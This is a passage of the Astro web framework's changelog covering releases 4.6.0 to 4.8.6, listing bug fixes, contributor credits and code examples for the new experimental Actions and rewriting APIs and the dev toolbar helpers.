[`bfe9c73`](https://github.com/withastro/astro/commit/bfe9c73536f0794e4f5ede5040adabbe0e705984) Thanks [@&#8203;duckycoding-dev](https://github.com/duckycoding-dev)! - Change `slot` attribute of `IntrinsicAttributes` to match the definition of `HTMLAttributes`'s own `slot` attribute of type `string | undefined | null` - [#&#8203;10875](https://github.com/withastro/astro/pull/10875) [`b5f95b2`](https://github.com/withastro/astro/commit/b5f95b2fb156152fabf2a22e150037a8255006f9) Thanks [@&#8203;W1M0R](https://github.com/W1M0R)! - Fixes a typo in a JSDoc annotation - [#&#8203;11111](https://github.com/withastro/astro/pull/11111) [`a5d79dd`](https://github.com/withastro/astro/commit/a5d79ddeb2d592de9eb2468471fdcf3eea5ef730) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Fix unexpected `headers` warning on prerendered routes when using Astro Actions. - [#&#8203;11081](https://github.com/withastro/astro/pull/11081) [`af42e05`](https://github.com/withastro/astro/commit/af42e0552054b3b4ac784ed78c60f80bfc38d8ca) Thanks [@&#8203;V3RON](https://github.com/V3RON)! - Correctly position inspection tooltip in RTL mode When RTL mode is turned on, the inspection tooltip tend to overflow the window on the left side. Additional check has been added to prevent that. ### [`v4.8.6`](https://github.com/withastro/astro/releases/tag/astro%404.8.6) [Compare Source](https://github.com/withastro/astro/compare/astro@4.8.5...astro@4.8.6) ##### Patch Changes - [#&#8203;11084](https://github.com/withastro/astro/pull/11084) [`9637014`](https://github.com/withastro/astro/commit/9637014b1495a5a41cb384c7de4de410348f4cc0) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Fixes regression when handling hoisted scripts from content collections ### [`v4.8.5`](https://github.com/withastro/astro/releases/tag/astro%404.8.5) [Compare Source](https://github.com/withastro/astro/compare/astro@4.8.4...astro@4.8.5) ##### Patch Changes - [#&#8203;11065](https://github.com/withastro/astro/pull/11065) [`1f988ed`](https://github.com/withastro/astro/commit/1f988ed10f4737b5333c9978115ee531786eb539) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a bug in the Astro rewrite logic, where rewriting the index with parameters - `next("/?foo=bar")` - didn't work as expected. - [#&#8203;10924](https://github.com/withastro/astro/pull/10924) [`3a0c02a`](https://github.com/withastro/astro/commit/3a0c02ae0357c267881b30454b5320075378894b) Thanks [@&#8203;Its-Just-Nans](https://github.com/Its-Just-Nans)! - Handle image-size errors by displaying a clearer message - [#&#8203;11058](https://github.com/withastro/astro/pull/11058) [`749a7ac`](https://github.com/withastro/astro/commit/749a7ac967146952450a4173dcb6a5494755460c) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fix streaming in Node.js fast path - [#&#8203;11052](https://github.com/withastro/astro/pull/11052) [`a05ca38`](https://github.com/withastro/astro/commit/a05ca38c2cf327ae9130ee1c139a0e510b9da50a) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where rewriting would conflict with the actions internal middleware - [#&#8203;11062](https://github.com/withastro/astro/pull/11062) [`16f12e4`](https://github.com/withastro/astro/commit/16f12e426e5869721313bb771e2ec5b821c5452e) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a bug where `astro build` didn't create custom `404.html` and `500.html` when a certain combination of i18n options was applied - [#&#8203;10965](https://github.com/withastro/astro/pull/10965) [`a8f0372`](https://github.com/withastro/astro/commit/a8f0372ea71479ef80c58e74201dea6a5a2b2ae4) Thanks [@&#8203;Elias-Chairi](https://github.com/Elias-Chairi)! - Update generator.ts to allow %23 (#) in dynamic urls - [#&#8203;11069](https://github.com/withastro/astro/pull/11069) [`240a70a`](https://github.com/withastro/astro/commit/240a70a29f8e11d161da021845c208f982d64e5c) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Improves debug logging for on-demand pages ### [`v4.8.4`](https://github.com/withastro/astro/releases/tag/astro%404.8.4) [Compare Source](https://github.com/withastro/astro/compare/astro@4.8.3...astro@4.8.4) ##### Patch Changes - [#&#8203;11026](https://github.com/withastro/astro/pull/11026) [`8dfb1a2`](https://github.com/withastro/astro/commit/8dfb1a23cc5996c410f7e33211d132dac36c9f77) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Skips rendering script tags if it's inlined and empty when `experimental.directRenderScript` is enabled - [#&#8203;11043](https://github.com/withastro/astro/pull/11043) [`d0d1710`](https://github.com/withastro/astro/commit/d0d1710439ec281518b17d03126b5d9cd008a102) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Fixes minor type issues in actions component example - [#&#8203;10999](https://github.com/withastro/astro/pull/10999) [`5f353e3`](https://github.com/withastro/astro/commit/5f353e39b2b9fb15e6c9d193b5b5101457fef002) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - The prefetch feature is updated to better support different browsers and different cache headers setup, including: 1. All prefetch strategies will now always try to use `<link rel="prefetch">` if supported, or will fall back to `fetch()`. 2. The `prefetch()` programmatic API's `with` option is deprecated in favour of an automatic approach that will also try to use `<link rel="prefetch>` if supported, or will fall back to `fetch()`. This change shouldn't affect most sites and should instead make prefetching more effective. - [#&#8203;11041](https://github.com/withastro/astro/pull/11041) [`6cc3fb9`](https://github.com/withastro/astro/commit/6cc3fb97ec01af5a7c2153f5b3c22e92675f1e56) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Fixes 500 errors when sending empty params or returning an empty response from an action. - [#&#8203;11028](https://github.com/withastro/astro/pull/11028) [`771d1f7`](https://github.com/withastro/astro/commit/771d1f7654e18b657c3eacfabae52ed88c76fa99) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Throw on missing server output when using Astro Actions. - [#&#8203;11029](https://github.com/withastro/astro/pull/11029) [`bd34452`](https://github.com/withastro/astro/commit/bd34452a34e9d90c948b1e454d184085cd591871) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Actions: include validation error in thrown error message for debugging. - [#&#8203;11046](https://github.com/withastro/astro/pull/11046) [`086694a`](https://github.com/withastro/astro/commit/086694ac31a5f3412a3dcdbbd95f0187316699c5) Thanks [@&#8203;HiDeoo](https://github.com/HiDeoo)! - Fixes `getViteConfig()` type definition to allow passing an inline Astro configuration as second argument - [#&#8203;11026](https://github.com/withastro/astro/pull/11026) [`8dfb1a2`](https://github.com/withastro/astro/commit/8dfb1a23cc5996c410f7e33211d132dac36c9f77) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Fixes CSS handling if imported in a script tag in an Astro file when `experimental.directRenderScript` is enabled - [#&#8203;11020](https://github.com/withastro/astro/pull/11020) [`2e2d6b7`](https://github.com/withastro/astro/commit/2e2d6b7442063c8eb32533d45eaf021c3fa0f615) Thanks [@&#8203;xsynaptic](https://github.com/xsynaptic)! - Add type declarations for `import.meta.env.ASSETS_PREFIX` when defined as an object for handling different file types. - [#&#8203;11030](https://github.com/withastro/astro/pull/11030) [`18e7f33`](https://github.com/withastro/astro/commit/18e7f33ccd145292224cbeffde9fc30d143d97fb) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Actions: Fix missing message for custom Action errors. - [#&#8203;10981](https://github.com/withastro/astro/pull/10981) [`ad9227c`](https://github.com/withastro/astro/commit/ad9227c7d1474881fac9b1db15aa7b5a888b42b8) Thanks [@&#8203;mo](https://github.com/mo)! - Adds deprecated HTML attribute "name" to the list of valid attributes. This attribute has been replaced by the global `id` attribute in recent versions of HTML. - [#&#8203;11013](https://github.com/withastro/astro/pull/11013) [`4ea38e7`](https://github.com/withastro/astro/commit/4ea38e733344304f7e18c226d1db3e8ac236055f) Thanks [@&#8203;QingXia-Ela](https://github.com/QingXia-Ela)! - Prevents unhandledrejection error when checking for latest Astro version - [#&#8203;11034](https://github.com/withastro/astro/pull/11034) [`5f2dd45`](https://github.com/withastro/astro/commit/5f2dd4518e707d37f6f886764ca9b31c0d451fd4) Thanks [@&#8203;arganaphang](https://github.com/arganaphang)! - Add `popovertargetaction` to the attribute that can be passed to the `button` and `input` element ### [`v4.8.3`](https://github.com/withastro/astro/releases/tag/astro%404.8.3) [Compare Source](https://github.com/withastro/astro/compare/astro@4.8.2...astro@4.8.3) ##### Patch Changes - [#&#8203;11006](https://github.com/withastro/astro/pull/11006) [`7418bb0`](https://github.com/withastro/astro/commit/7418bb054cf74a131877497b4b70cf0980de4c6b) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Fix `locals` access from action handlers ### [`v4.8.2`](https://github.com/withastro/astro/releases/tag/astro%404.8.2) [Compare Source](https://github.com/withastro/astro/compare/astro@4.8.1...astro@4.8.2) ##### Patch Changes - [#&#8203;10990](https://github.com/withastro/astro/pull/10990) [`4161a2a`](https://github.com/withastro/astro/commit/4161a2a3d095eaf4d109b4ac49f11f6762bed017) Thanks [@&#8203;liruifengv](https://github.com/liruifengv)! - fix incorrect actions path on windows - [#&#8203;10979](https://github.com/withastro/astro/pull/10979) [`6fa89e8`](https://github.com/withastro/astro/commit/6fa89e84c917f487be9f62875d85c61974e71590) Thanks [@&#8203;BryceRussell](https://github.com/BryceRussell)! - Fix loading of non-index routes that end with `index.html` ### [`v4.8.1`](https://github.com/withastro/astro/releases/tag/astro%404.8.1) [Compare Source](https://github.com/withastro/astro/compare/astro@4.8.0...astro@4.8.1) ##### Patch Changes - [#&#8203;10987](https://github.com/withastro/astro/pull/10987) [`05db5f7`](https://github.com/withastro/astro/commit/05db5f78187efb53c5732b28e499c7977ceee496) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fix a regression where the flag `experimental.rewriting` was marked mandatory. Is is now optional. - [#&#8203;10975](https://github.com/withastro/astro/pull/10975) [`6b640b3`](https://github.com/withastro/astro/commit/6b640b3bcb74d21903d303e268ff8ecef90097e7) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Passes the scoped style attribute or class to the `<picture>` element in the `<Picture />` component so scoped styling can be applied to the `<picture>` element ### [`v4.8.0`](https://github.com/withastro/astro/releases/tag/astro%404.8.0) [Compare Source](https://github.com/withastro/astro/compare/astro@4.7.1...astro@4.8.0) ##### Minor Changes - [#&#8203;10935](https://github.com/withastro/astro/pull/10935) [`ddd8e49`](https://github.com/withastro/astro/commit/ddd8e49d1a179bec82310fb471f822a1567a6610) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Exports `astro/jsx/rehype.js` with utilities to generate an Astro metadata object - [#&#8203;10625](https://github.com/withastro/astro/pull/10625) [`698c2d9`](https://github.com/withastro/astro/commit/698c2d9bb51e20b38de405b6076fd6488ddb5c2b) Thanks [@&#8203;goulvenclech](https://github.com/goulvenclech)! - Adds the ability for multiple pages to use the same component as an `entrypoint` when building an Astro integration. This change is purely internal, and aligns the build process with the behaviour in the development server. - [#&#8203;10906](https://github.com/withastro/astro/pull/10906) [`7bbd664`](https://github.com/withastro/astro/commit/7bbd66459dd29a338ac1dfae0e4c984cb08f73b3) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Adds a new radio checkbox component to the dev toolbar UI library (`astro-dev-toolbar-radio-checkbox`) - [#&#8203;10963](https://github.com/withastro/astro/pull/10963) [`61f47a6`](https://github.com/withastro/astro/commit/61f47a684235a049cbfc4f2cbb5edff3befeced7) Thanks [@&#8203;delucis](https://github.com/delucis)! - Adds support for passing an inline Astro configuration object to `getViteConfig()` If you are using `getViteConfig()` to configure the Vitest test runner, you can now pass a second argument to control how Astro is configured. This makes it possible to configure unit tests with different Astro options when using [Vitest’s workspaces](https://vitest.dev/guide/workspace.html) feature. ```js // vitest.config.ts import { getViteConfig } from 'astro/config'; export default getViteConfig( /* Vite configuration */ { test: {} }, /* Astro configuration */ { site: 'https://example.com', trailingSlash: 'never', } ); ``` - [#&#8203;10867](https://github.com/withastro/astro/pull/10867) [`47877a7`](https://github.com/withastro/astro/commit/47877a75404ccc8786bbea2171015fb088dc01a1) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Adds experimental rewriting in Astro with a new `rewrite()` function and the middleware `next()` function. The feature is available via an experimental flag in `astro.config.mjs`: ```js export default defineConfig({ experimental: { rewriting: true, }, }); ``` When enabled, you can use `rewrite()` to **render** another page without changing the URL of the browser in Astro pages and endpoints. ```astro --- // src/pages/dashboard.astro if (!Astro.props.allowed) { return Astro.rewrite('/'); } --- ``` ```js // src/pages/api.js export function GET(ctx) { if (!ctx.locals.allowed) { return ctx.rewrite('/'); } } ``` The middleware `next()` function now accepts a parameter with the same type as the `rewrite()` function. For example, with `next("/")`, you can call the next middleware function with a new `Request`. ```js // src/middleware.js export function onRequest(ctx, next) { if (!ctx.cookies.get('allowed')) { return next('/'); // new signature } return next(); } ``` > **NOTE**: please [read the RFC](https://github.com/withastro/roadmap/blob/feat/reroute/proposals/0047-rerouting.md) to understand the current expectations of the new APIs. - [#&#8203;10858](https://github.com/withastro/astro/pull/10858) [`c0c509b`](https://github.com/withastro/astro/commit/c0c509b6bf3f55562d22297fdcc2b3e57969734d) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Adds experimental support for the Actions API. Actions let you define type-safe endpoints you can query from client components with progressive enhancement built in. Actions help you write type-safe backend functions you can call from anywhere. Enable server rendering [using the `output` property](https://docs.astro.build/en/basics/rendering-modes/#on-demand-rendered) and add the `actions` flag to the `experimental` object: ```js { output: 'hybrid', // or 'server' experimental: { actions: true, }, } ``` Declare all your actions in `src/actions/index.ts`. This file is the global actions handler. Define an action using the `defineAction()` utility from the `astro:actions` module. These accept the `handler` property to define your server-side request handler. If your action accepts arguments, apply the `input` property to validate parameters with Zod. This example defines two actions: `like` and `comment`. The `like` action accepts a JSON object with a `postId` string, while the `comment` action accepts [FormData](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest_API/Using_FormData_Objects) with `postId`, `author`, and `body` strings. Each `handler` updates your database and return a type-safe response. ```ts // src/actions/index.ts import { defineAction, z } from 'astro:actions'; export const server = { like: defineAction({ input: z.object({ postId: z.string() }), handler: async ({ postId }, context) => { // update likes in db return likes; }, }), comment: defineAction({ accept: 'form', input: z.object({ postId: z.string(), body: z.string(), }), handler: async ({ postId }, context) => { // insert comments in db return comment; }, }), }; ``` Then, call an action from your client components using the `actions` object from `astro:actions`. You can pass a type-safe object when using JSON, or a [FormData](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest_API/Using_FormData_Objects) object when using `accept: 'form'` in your action definition: ```tsx "actions" // src/components/blog.tsx import { actions } from 'astro:actions'; import { useState } from 'preact/hooks'; export function Like({ postId }: { postId: string }) { const [likes, setLikes] = useState(0); return ( <button onClick={async () => { const newLikes = await actions.like({ postId }); setLikes(newLikes); }} > {likes} likes </button> ); } export function Comment({ postId }: { postId: string }) { return ( <form onSubmit={async (e) => { e.preventDefault(); const formData = new FormData(e.target); const result = await actions.blog.comment(formData); // handle result }} > <input type="hidden" name="postId" value={postId} /> <label for="author">Author</label> <input id="author" type="text" name="author" /> <textarea rows={10} name="body"></textarea> <button type="submit">Post</button> </form> ); } ``` For a complete overview, and to give feedback on this experimental API, see the [Actions RFC](https://github.com/withastro/roadmap/blob/actions/proposals/0046-actions.md). - [#&#8203;10906](https://github.com/withastro/astro/pull/10906) [`7bbd664`](https://github.com/withastro/astro/commit/7bbd66459dd29a338ac1dfae0e4c984cb08f73b3) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Adds a new `buttonBorderRadius` property to the `astro-dev-toolbar-button` component for the dev toolbar component library. This property can be useful to make a fully rounded button with an icon in the center. ##### Patch Changes - [#&#8203;10977](https://github.com/withastro/astro/pull/10977) [`59571e8`](https://github.com/withastro/astro/commit/59571e8812ec637f5ea61be6c6adc0f45212d176) Thanks [@&#8203;BryceRussell](https://github.com/BryceRussell)! - Improve error message when accessing `clientAddress` on prerendered routes - [#&#8203;10935](https://github.com/withastro/astro/pull/10935) [`ddd8e49`](https://github.com/withastro/astro/commit/ddd8e49d1a179bec82310fb471f822a1567a6610) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Improves the error message when failed to render MDX components - [#&#8203;10917](https://github.com/withastro/astro/pull/10917) [`3412535`](https://github.com/withastro/astro/commit/3412535be4a0ec94cea18c5d186b7ffbd6f8209c) Thanks [@&#8203;jakobhellermann](https://github.com/jakobhellermann)! - Fixes a case where the local server would crash when the host also contained the port, eg. with `X-Forwarded-Host: hostname:8080` and `X-Forwarded-Port: 8080` headers - [#&#8203;10959](https://github.com/withastro/astro/pull/10959) [`685fc22`](https://github.com/withastro/astro/commit/685fc22bc6247be69a34c3f6945dec058c19fd71) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Refactors internal handling of styles and scripts for content collections to improve build performance - [#&#8203;10889](https://github.com/withastro/astro/pull/10889) [`4d905cc`](https://github.com/withastro/astro/commit/4d905ccef663f728fc981181f5bb9f1d157184ff) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Preserve content modules properly in cache - [#&#8203;10955](https://github.com/withastro/astro/pull/10955) [`2978287`](https://github.com/withastro/astro/commit/2978287f92dbd135f5c3efc6a037ea1756064d35) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Handles `AstroUserError`s thrown while syncing content collections and exports `BaseSchema` and `CollectionConfig` types ### [`v4.7.1`](https://github.com/withastro/astro/releases/tag/astro%404.7.1) [Compare Source](https://github.com/withastro/astro/compare/astro@4.7.0...astro@4.7.1) ##### Patch Changes - [#&#8203;10911](https://github.com/withastro/astro/pull/10911) [`a86dc9d`](https://github.com/withastro/astro/commit/a86dc9d269fc4409c458cfa05dcfaeee12bade2f) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Skips adding CSS dependencies of CSS Vite modules as style tags in the HTML - [#&#8203;10900](https://github.com/withastro/astro/pull/10900) [`36bb3b6`](https://github.com/withastro/astro/commit/36bb3b6025eb51f6e027a76a514cc7ebb29deb10) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Detects overlapping navigation and view transitions and automatically aborts all but the most recent one. - [#&#8203;10933](https://github.com/withastro/astro/pull/10933) [`007d17f`](https://github.com/withastro/astro/commit/007d17fee072955d4acb846a06d9eb666e908ef6) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fixes `app.toggleState` not working correctly - [#&#8203;10931](https://github.com/withastro/astro/pull/10931) [`4ce5ced`](https://github.com/withastro/astro/commit/4ce5ced44d490f4c6df771995aef14e11910ec57) Thanks [@&#8203;ktym4a](https://github.com/ktym4a)! - Fixes `toggleNotification()`'s parameter type for the notification level not using the proper levels ### [`v4.7.0`](https://github.com/withastro/astro/releases/tag/astro%404.7.0) [Compare Source](https://github.com/withastro/astro/compare/astro@4.6.4...astro@4.7.0) ##### Minor Changes - [#&#8203;10665](https://github.com/withastro/astro/pull/10665) [`7b4f284`](https://github.com/withastro/astro/commit/7b4f2840203fe220758934f1366485f788727f0d) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Adds new utilities to ease the creation of toolbar apps including `defineToolbarApp` to make it easier to define your toolbar app and `app` and `server` helpers for easier communication between the toolbar and the server. These new utilities abstract away some of the boilerplate code that is common in toolbar apps, and lower the barrier of entry for app authors. For example, instead of creating an event listener for the `app-toggled` event and manually typing the value in the callback, you can now use the `onAppToggled` method. Additionally, communicating with the server does not require knowing any of the Vite APIs anymore, as a new `server` object is passed to the `init` function that contains easy to use methods for communicating with the server. ```diff import { defineToolbarApp } from "astro/toolbar"; export default defineToolbarApp({ init(canvas, app, server) { - app.addEventListener("app-toggled", (e) => { - console.log(`App is now ${state ? "enabled" : "disabled"}`);. - }); + app.onToggled(({ state }) => { + console.log(`App is now ${state ? "enabled" : "disabled"}`); + }); - if (import.meta.hot) { - import.meta.hot.send("my-app:my-client-event", { message: "world" }); - } + server.send("my-app:my-client-event", { message: "world" }) - if (import.meta.hot) { - import.meta.hot.on("my-server-event", (data: {message: string}) => { - console.log(data.message); - }); - } + server.on<{ message: string }>("my-server-event", (data) => { + console.log(data.message); // data is typed using the type parameter + }); }, }) ``` Server helpers are also available on the server side, for use in your integrations, through the new `toolbar` object: ```ts "astro:server:setup": ({ toolbar }) => { toolbar.on<{ message: string }>("my-app:my-client-event", (data) => { console.log(data.message); toolbar.send("my-server-event", { message: "hello" }); }); } ``` This is a backwards compatible change and your your existing dev toolbar apps will continue to function. However, we encourage you to build your apps with the new helpers, following the [updated Dev Toolbar API documentation](https://docs.astro.build/en/reference/dev-toolbar-app-reference/). - [#&#8203;10734](https://github.com/withastro/astro/pull/10734) [`6fc4c0e`](https://github.com/withastro/astro/commit/6fc4c0e420da7629b4cfc28ee7efce1d614447be) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Astro will now automatically check for updates when you run the dev server. If a new version is available, a message will appear in the terminal with instructions on how to update. Updates will be checked once per 10 days, and the message will only appear if the project is multiple versions behind the latest release. This behavior can be disabled by running `astro preferences disable checkUpdates` or setting the `ASTRO_DISABLE_UPDATE_CHECK` environment variable to `false`. - [#&#8203;10762](https://github.com/withastro/astro/pull/10762) [`43ead8f`](https://github.com/withastro/astro/commit/43ead8fbd5112823118060175c7a4a22522cc325) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Enables type checking for JavaScript files when using the `strictest` TS config. This ensures consistency with Astro's other TS configs, and fixes type checking for integrations like Astro DB when using an `astro.config.mjs`. If you are currently using the `strictest` preset and would like to still disable `.js` files, set `allowJS: false` in your `tsconfig.json`. ##### Patch Changes - [#&#8203;10861](https://github.com/withastro/astro/pull/10861) [`b673bc8`](https://github.com/withastro/astro/commit/b673bc850593d5af25793d0358c00797477fa373) Thanks [@&#8203;mingjunlu](https://github.com/mingjunlu)! - Fixes an issue where `astro build` writes type declaration files to `outDir` when it's outside of root directory. - [#&#8203;10684](https://github.com/withastro/astro/pull/10684) [`8b59d5d`](https://github.com/withastro/astro/commit/8b59d5d078ff40576b8cbee432279c6ad044a1a9) Thanks [@&#8203;PeterDraex](https://github.com/PeterDraex)! - Update sharp to 0.33 to fix issue with Alpine Linux ### [`v4.6.4`](https://github.com/withastro/astro/releases/tag/astro%404.6.4) [Compare Source](https://github.com/withastro/astro/compare/astro@4.6.3...astro@4.6.4) ##### Patch Changes - [#&#8203;10846](https://github.com/withastro/astro/pull/10846) [`3294f7a`](https://github.com/withastro/astro/commit/3294f7a343e036d2ad9ac8d5f792ad0d4f43a399) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Prevent getCollection breaking in vitest - [#&#8203;10856](https://github.com/withastro/astro/pull/10856) [`30cf82a`](https://github.com/withastro/astro/commit/30cf82ac3e970a6a3c0f07db1340dd7152d1c35d) Thanks [@&#8203;robertvanhoesel](https://github.com/robertvanhoesel)! - Prevents inputs with a name attribute of action or method to break ViewTransitions' form submission - [#&#8203;10833](https://github.com/withastro/astro/pull/10833) [`8d5f3e8`](https://github.com/withastro/astro/commit/8d5f3e8656027023f9fda51c66b0213ffe16d3a5) Thanks [@&#8203;renovate](https://github.com/apps/renovate)! - Updates `esbuild` dependency to v0.20. This should not affect projects in most cases. - [#&#8203;10801](https://github.com/withastro/astro/pull/10801) [`204b782`](https://github.com/withastro/astro/commit/204b7820e6de22d97fa2a7b988180c42155c8387) Thanks [@&#8203;rishi-raj-jain](https://github.com/rishi-raj-jain)! - Fixes an issue where images in MD required a relative specifier (e.g. `./`) Now, you can use the standard `![](relative/img.png)` syntax in MD files for images colocated in the same folder: no relative specifier required! There is no need to update your project; your existing images will still continue to work. However, you may wish to remove any relative specifiers from these MD images as they are no longer necessary: ```diff - ![A cute dog](./dog.jpg) + ![A cute dog](dog.jpg) <!-- This dog lives in the same folder as my article! --> ``` - [#&#8203;10841](https://github.com/withastro/astro/pull/10841) [`a2df344`](https://github.com/withastro/astro/commit/a2df344bff15647c2bfb3f49e3f7b66aa069d6f4) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Due to regression on mobile WebKit browsers, reverts a change made for JavaScript animations during view transitions. ### [`v4.6.3`](https://github.com/withastro/astro/releases/tag/astro%404.6.3) [Compare Source](https://github.com/withastro/astro/compare/astro@4.6.2...astro@4.6.3) ##### Patch Changes - [#&#8203;10799](https://github.com/withastro/astro/pull/10799) [`dc74afca9f5eebc2d61331298d6ef187d92051e0`](https://github.com/withastro/astro/commit/dc74afca9f5eebc2d61331298d6ef187d92051e0) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Fixes an issue with persisted non-text input fields that have the focus during view transition navigation. - [#&#8203;10773](https://github.com/withastro/astro/pull/10773) [`35e43ecdaae7adc4b9a0b974192a033568cfb3f0`](https://github.com/withastro/astro/commit/35e43ecdaae7adc4b9a0b974192a033568cfb3f0) Thanks [@&#8203;lilnasy](https://github.com/lilnasy)! - Improves performance for frequent use of small components. - [#&#8203;10763](https://github.com/withastro/astro/pull/10763) [`63132771373ce1510be3e8814897accc0bf62ef8`](https://github.com/withastro/astro/commit/63132771373ce1510be3e8814897accc0bf62ef8) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Invalidate CC cache manifest when lockfile or config changes - [#&#8203;10811](https://github.com/withastro/astro/pull/10811) [`77822a822b04b5113726f713df104e8667333c59`](https://github.com/withastro/astro/commit/77822a822b04b5113726f713df104e8667333c59) Thanks [@&#8203;AvinashReddy3108](https://github.com/AvinashReddy3108)! - Update list of available integrations in the `astro add` CLI help. ### [`v4.6.2`](https://github.com/withastro/astro/releases/tag/astro%404.6.2) [Compare Source](https://github.com/withastro/astro/compare/astro@4.6.1...astro@4.6.2) ##### Patch Changes - [#&#8203;10732](https://github.com/withastro/astro/pull/10732) [`a92e263beb6e0166f1f13c97803d1861793e2a99`](https://github.com/withastro/astro/commit/a92e263beb6e0166f1f13c97803d1861793e2a99) Thanks [@&#8203;rishi-raj-jain](https://github.com/rishi-raj-jain)! - Correctly sets `build.assets` directory during `vite` config setup - [#&#8203;10776](https://github.com/withastro/astro/pull/10776) [`1607face67051b16d4648555f1001b2a9308e377`](https://github.com/withastro/astro/commit/1607face67051b16d4648555f1001b2a9308e377) Thanks [@&#8203;fshafiee](https://github.com/fshafiee)! - Fixes cookies type inference - [#&#8203;10796](https://github.com/withastro/astro/pull/10796) [`90669472df3a05b33f0de46fd2d039e3eba7f7dd`](https://github.com/withastro/astro/commit/90669472df3a05b33f0de46fd2d039e3eba7f7dd) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Disables streaming when rendering site with `output: "static"` - [#&#8203;10782](https://github.com/withastro/astro/pull/10782) [`b0589d05538fcc77dd3c38198bf93f3548362cd8`](https://github.com/withastro/astro/commit/b0589d05538fcc77dd3c38198bf93f3548362cd8) Thanks [@&#8203;nektro](https://github.com/nektro)! - Handles possible null value when calling `which-pm` during dynamic package installation - [#&#8203;10774](https://github.com/withastro/astro/pull/10774) [`308b5d8c122f44e7724bb2f3ad3aa5c43a83e584`](https://github.com/withastro/astro/commit/308b5d8c122f44e7724bb2f3ad3aa5c43a83e584) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fixes `astro add` sometimes modifying `baseUrl` unintentionally - [#&#8203;10783](https://github.com/withastro/astro/pull/10783) [`4dbd545304d1a8af903c8c97f237eb55c988c40b`](https://github.com/withastro/astro/commit/4dbd545304d1a8af903c8c97f237eb55c988c40b) Thanks [@&#8203;jurajkapsz](https://github.com/jurajkapsz)! - Fixes Picture component specialFormatsFallback fallback check - [#&#8203;10775](https://github.com/withastro/astro/pull/10775) [`06843121450899ecf0390ca4efaff6c9a6fe0f75`](https://github.com/withastro/astro/commit/06843121450899ecf0390ca4efaff6c9a6fe0f75) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Fixes assets endpoint in serverless returning 404 in certain situations where the website might be under a protected route - [#&#8203;10787](https://github.com/withastro/astro/pull/10787) [`699f4559a279b374bddb3e5e48c72afe2709e8e7`](https://github.com/withastro/astro/commit/699f4559a279b374bddb3e5e48c72afe2709e8e7) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Fixes a timing issue in the view transition simulation. ### [`v4.6.1`](https://github.com/withastro/astro/releases/tag/astro%404.6.1) [Compare Source](https://github.com/withastro/astro/compare/astro@4.6.0...astro@4.6.1) ##### Patch Changes - [#&#8203;10708](https://github.com/withastro/astro/pull/10708) [`742866c5669a2be4f8b5a4c861cadb933c381415`](https://github.com/withastro/astro/commit/742866c5669a2be4f8b5a4c861cadb933c381415) Thanks [@&#8203;horo-fox](https://github.com/horo-fox)! - Limits parallel imports within `getCollection()` to prevent EMFILE errors when accessing files - [#&#8203;10755](https://github.com/withastro/astro/pull/10755) [`c6d59b6fb7db20af957a8706c8159c50619235ef`](https://github.com/withastro/astro/commit/c6d59b6fb7db20af957a8706c8159c50619235ef) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a case where the i18n fallback failed to correctly redirect to the index page with SSR enabled ### [`v4.6.0`](https://github.com/withastro/astro/releases/tag/astro%404.6.0) [Compare Source](https://github.com/withastro/astro/compare/astro@4.5.18...astro@4.6.0) ##### Minor Changes - [#&#8203;10591](https://github.com/withastro/astro/pull/10591) [`39988ef8e2c4c4888543c973e06d9b9939e4ac95`](https://github.com/withastro/astro/commit/39988ef8e2c4c4888543c973e06d9b9939e4ac95) Thanks [@&#8203;mingjunlu](https://github.com/mingjunlu)! - Adds a new dev toolbar settings option to change the horizontal placement of the dev toolbar on your screen: bottom left, bottom center, or bottom right. - [#&#8203;10689](https://github.com/withastro/astro/pull/10689) [`683d51a5eecafbbfbfed3910a3f1fbf0b3531b99`](https://github.com/withastro/astro/commit/683d51a5eecafbbfbfed3910a3f1fbf0b3531b99) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Deprecate support for versions of Node.js older than `v18.17.1` for Node.js 18, older than `v20.0.3` for Node.js 20, and the complete Node.js v19 release line. This change is in line with Astro's [Node.js support policy](https://docs.astro.build/en/upgrade-astro/#support). - 